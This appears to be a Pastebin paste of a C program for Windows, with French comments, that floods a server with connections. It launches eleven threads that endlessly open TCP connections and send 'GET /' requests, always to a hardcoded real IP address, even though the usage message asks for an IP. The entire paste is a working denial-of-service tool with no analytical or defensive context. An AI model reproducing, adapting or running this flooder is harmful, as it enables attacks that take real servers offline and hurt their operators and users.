Advertisement
Guest User

Untitled

a guest
Aug 16th, 2017
59
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 2.57 KB | None | 0 0
  1. #include <winsock.h>
  2. #include <string.h>
  3. #include <pthread.h>
  4. void* flood(int* port);
  5. int main(int argc, char *argv[])
  6. {
  7. if(argc == 1)
  8. {
  9.     printf("S'utilise avec flood [ip] [port]\n");
  10.     getchar();
  11.     exit(0);
  12. }
  13. int port;
  14. int erreur;
  15. char *p_conv;
  16. port = (int)strtol(argv[2], &p_conv, 10);
  17. printf("Nombre de paramètre invoqués : %d\n",argc);
  18. printf("IP : %s\nPort : %d\n",argv[1],port);
  19. WSADATA initialisation_win32;
  20. erreur=WSAStartup(MAKEWORD(2,2),&initialisation_win32);
  21. if (erreur!=0){printf("\nErreur : Winsock init : %d %d",erreur,WSAGetLastError());}else{printf("\nWSAStartup  : OK");}
  22.  
  23. pthread_t thread;
  24. pthread_create(&thread, NULL, flood,&port);
  25. pthread_t thread1;
  26. pthread_create(&thread1, NULL, flood,&port);
  27. pthread_t thread2;
  28. pthread_create(&thread2, NULL, flood,&port);
  29. pthread_t thread3;
  30. pthread_create(&thread3, NULL, flood,&port);
  31. pthread_t thread4;
  32. pthread_create(&thread4, NULL, flood,&port);
  33. pthread_t thread5;
  34. pthread_create(&thread5, NULL, flood,&port);
  35. pthread_t thread6;
  36. pthread_create(&thread6, NULL, flood,&port);
  37. pthread_t thread7;
  38. pthread_create(&thread7, NULL, flood,&port);
  39. pthread_t thread8;
  40. pthread_create(&thread8, NULL, flood,&port);
  41. pthread_t thread9;
  42. pthread_create(&thread9, NULL, flood,&port);
  43. pthread_t thread10;
  44. pthread_create(&thread10, NULL, flood,&port);
  45. printf("Flooding ...");
  46. while (1) {}
  47. return 0;
  48. }
  49.  
  50. void *flood(int* port)
  51. {
  52. int sock;
  53. int erreur;
  54. SOCKADDR_IN information_sur_la_destination;
  55. information_sur_la_destination.sin_family=AF_INET;
  56. information_sur_la_destination.sin_addr.s_addr=inet_addr("178.33.214.192");
  57. information_sur_la_destination.sin_port=htons(*port);
  58. int nombre_de_caractere; // Indique le nombre de caractères qui a été reçu ou envoyé
  59. char buffer[65535]; // Tampon contenant les données reçues ou envoyées
  60. strcpy(buffer,"GET /\n\n"); // Copie la chaine de caractère dans buffer
  61.  
  62. while (1)
  63. {
  64.     //creation de la socket
  65.     sock = socket(AF_INET,SOCK_STREAM,0);
  66.     if (sock==INVALID_SOCKET){printf("\nSocket Error : %d",WSAGetLastError());}
  67.     //connexion au serveur
  68.     erreur=connect(sock,(struct sockaddr*)&information_sur_la_destination,sizeof(information_sur_la_destination));
  69.     if (erreur!=0){printf("\nError connect() : %d %d",erreur,WSAGetLastError());}
  70.     //envoi des données
  71.     send(sock,buffer,strlen(buffer),0);
  72.     if (nombre_de_caractere==SOCKET_ERROR){printf("\nEchec send() : %d",WSAGetLastError());}else{printf("\nSend        : OK");}
  73.     //fermeture de la socket
  74.     erreur=closesocket(sock);
  75.     if (erreur!=0){printf("\nError while closing socket : %d %d",erreur,WSAGetLastError());}
  76. }
  77. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement